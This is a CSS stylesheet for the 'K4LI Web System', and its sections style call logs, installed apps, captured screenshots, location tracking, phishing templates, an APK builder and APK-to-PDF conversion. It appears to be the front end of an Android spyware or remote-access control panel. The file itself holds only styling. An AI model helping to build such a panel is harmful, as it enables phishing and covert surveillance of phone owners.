/**
 * K4LI Web System - Modal Styles
 * 
 * Complete styles for all modal dialogs and popups
 */

.modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.85);
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 10000;
    animation: fadeIn 0.3s;
    backdrop-filter: blur(5px);
}

.modal-content {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    padding: 30px;
    max-width: 600px;
    width: 90%;
    max-height: 90vh;
    overflow-y: auto;
    box-shadow: 0 8px 32px var(--shadow);
    animation: slideUp 0.3s;
}

.modal-content.large-modal {
    max-width: 1000px;
}

.modal-content.full-screen {
    max-width: 95%;
    max-height: 95vh;
}

.modal-header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-bottom: 20px;
    padding-bottom: 15px;
    border-bottom: 1px solid var(--border-color);
}

.modal-header h2 {
    display: flex;
    align-items: center;
    margin: 0;
}

.modal-close {
    width: 32px;
    height: 32px;
    background: var(--tertiary-bg);
    border: none;
    border-radius: 50%;
    color: var(--text-primary);
    font-size: 18px;
    cursor: pointer;
    transition: var(--transition);
}

.modal-close:hover {
    background: var(--danger-color);
    transform: rotate(90deg);
}

.modal-search {
    margin-bottom: 20px;
}

.modal-search input {
    width: 100%;
    padding: 12px;
    background: var(--tertiary-bg);
    border: 1px solid var(--border-color);
    border-radius: 8px;
    color: var(--text-primary);
    font-size: 14px;
}

.modal-search input:focus {
    outline: none;
    border-color: var(--accent-color);
}

.data-table {
    width: 100%;
    border-collapse: collapse;
}

.data-table thead {
    background: var(--tertiary-bg);
    position: sticky;
    top: 0;
}

.data-table th,
.data-table td {
    padding: 12px;
    text-align: left;
    border-bottom: 1px solid var(--border-color);
}

.data-table code {
    background: var(--tertiary-bg);
    padding: 2px 6px;
    border-radius: 4px;
    font-size: 13px;
}

.badge {
    padding: 4px 8px;
    border-radius: 4px;
    font-size: 11px;
    font-weight: 600;
    text-transform: uppercase;
}

.badge-incoming {
    background: rgba(76, 217, 100, 0.2);
    color: #4CD964;
}

.badge-outgoing {
    background: rgba(0, 122, 255, 0.2);
    color: #007AFF;
}

.badge-missed {
    background: rgba(255, 59, 48, 0.2);
    color: #FF3B30;
}

.app-actions-bar {
    margin-bottom: 20px;
    text-align: right;
}

progress {
    width: 100%;
    height: 8px;
    border-radius: 4px;
    -webkit-appearance: none;
    appearance: none;
}

progress::-webkit-progress-bar {
    background: var(--tertiary-bg);
    border-radius: 4px;
}

progress::-webkit-progress-value {
    background: var(--accent-color);
    border-radius: 4px;
}

progress::-moz-progress-bar {
    background: var(--accent-color);
    border-radius: 4px;
}

.modal-body {
    margin: 20px 0;
}

.modal-content button {
    margin-top: 20px;
}

@keyframes slideUp {
    from {
        transform: translateY(50px);
        opacity: 0;
    }
    to {
        transform: translateY(0);
        opacity: 1;
    }
}

/* Apps Grid (for installed apps modal) */
.apps-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
    gap: 15px;
    margin-top: 20px;
}

.app-card {
    background: var(--tertiary-bg);
    border-radius: 8px;
    padding: 15px;
    text-align: center;
    transition: var(--transition);
}

.app-card:hover {
    background: var(--border-color);
    transform: translateY(-2px);
}

.app-card img {
    width: 64px;
    height: 64px;
    margin-bottom: 10px;
    border-radius: 8px;
}

.app-info {
    margin: 10px 0;
}

.app-name {
    font-size: 14px;
    font-weight: 600;
    margin-bottom: 5px;
}

.app-package {
    font-size: 11px;
    color: var(--text-secondary);
}

.app-actions {
    display: flex;
    gap: 8px;
    margin-top: 10px;
}

.app-actions button {
    flex: 1;
    padding: 6px 10px;
    font-size: 11px;
    margin: 0;
}

/* Screenshots Grid */
.screenshots-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
    gap: 15px;
    margin-top: 20px;
}

.screenshot-item {
    position: relative;
    cursor: pointer;
    border-radius: 8px;
    overflow: hidden;
    transition: var(--transition);
}

.screenshot-item:hover {
    transform: scale(1.05);
    box-shadow: 0 4px 12px var(--shadow);
}

.screenshot-item img {
    width: 100%;
    height: 200px;
    object-fit: cover;
    display: block;
}

.screenshot-time {
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    background: rgba(0, 0, 0, 0.7);
    padding: 8px;
    font-size: 11px;
    text-align: center;
}

/* Upload Area */
.upload-area {
    border: 2px dashed var(--border-color);
    border-radius: var(--border-radius);
    padding: 60px 20px;
    text-align: center;
    cursor: pointer;
    transition: var(--transition);
}

.upload-area:hover {
    border-color: var(--accent-color);
    background: var(--tertiary-bg);
}

.upload-area img {
    width: 80px;
    height: 80px;
    margin-bottom: 20px;
    opacity: 0.6;
}

.upload-area h3 {
    margin-bottom: 10px;
}

.upload-area p {
    color: var(--text-secondary);
    font-size: 14px;
}

/* Phishing Templates */
.phishing-templates {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
    gap: 20px;
    margin-bottom: 40px;
}

.template-card {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    overflow: hidden;
    box-shadow: 0 4px 12px var(--shadow);
    transition: var(--transition);
    cursor: pointer;
}

.template-card:hover {
    transform: translateY(-4px);
    box-shadow: 0 8px 24px var(--shadow);
}

.template-card img {
    width: 100%;
    height: 200px;
    object-fit: cover;
}

.template-card h3 {
    padding: 15px;
    text-align: center;
}

.template-card button {
    width: 90%;
    margin: 0 5% 15px;
}

/* URL Generator */
.url-generator {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    padding: 30px;
    margin-bottom: 30px;
    text-align: center;
}

.generated-url {
    display: flex;
    gap: 10px;
    margin-top: 20px;
}

.generated-url input {
    flex: 1;
    padding: 12px;
    background: var(--tertiary-bg);
    border: 1px solid var(--border-color);
    border-radius: 8px;
    color: var(--text-primary);
    font-size: 14px;
}

/* Settings */
.settings-container {
    max-width: 800px;
}

.settings-section {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    padding: 25px;
    margin-bottom: 20px;
}

.settings-section h3 {
    margin-bottom: 20px;
    padding-bottom: 15px;
    border-bottom: 1px solid var(--border-color);
}

.setting-item {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 15px 0;
    border-bottom: 1px solid var(--border-color);
}

.setting-item:last-child {
    border-bottom: none;
}

.setting-item label {
    font-size: 14px;
    font-weight: 500;
}

.setting-item input[type="number"],
.setting-item select {
    width: 200px;
}

/* APK Builder */
.apk-builder-container {
    max-width: 600px;
    margin: 0 auto;
}

.builder-form {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    padding: 30px;
}

.builder-form .form-group:last-of-type {
    margin-bottom: 25px;
}

.builder-form button img {
    width: 20px;
    height: 20px;
    margin-right: 8px;
}

/* Location Map */
.location-map {
    width: 100%;
    height: 500px;
    border-radius: var(--border-radius);
    background: var(--tertiary-bg);
    margin-bottom: 20px;
}

.location-list {
    display: grid;
    gap: 15px;
}

.location-item {
    background: var(--secondary-bg);
    border-radius: 8px;
    padding: 15px;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.location-info p {
    margin: 5px 0;
    font-size: 14px;
}

.location-info strong {
    color: var(--text-secondary);
}

/* APK to PDF */
.apk-pdf-container {
    max-width: 600px;
    margin: 0 auto;
}

.conversion-result {
    background: var(--secondary-bg);
    border-radius: var(--border-radius);
    padding: 40px;
    text-align: center;
}

.conversion-result h3 {
    color: var(--success-color);
    margin-bottom: 20px;
}

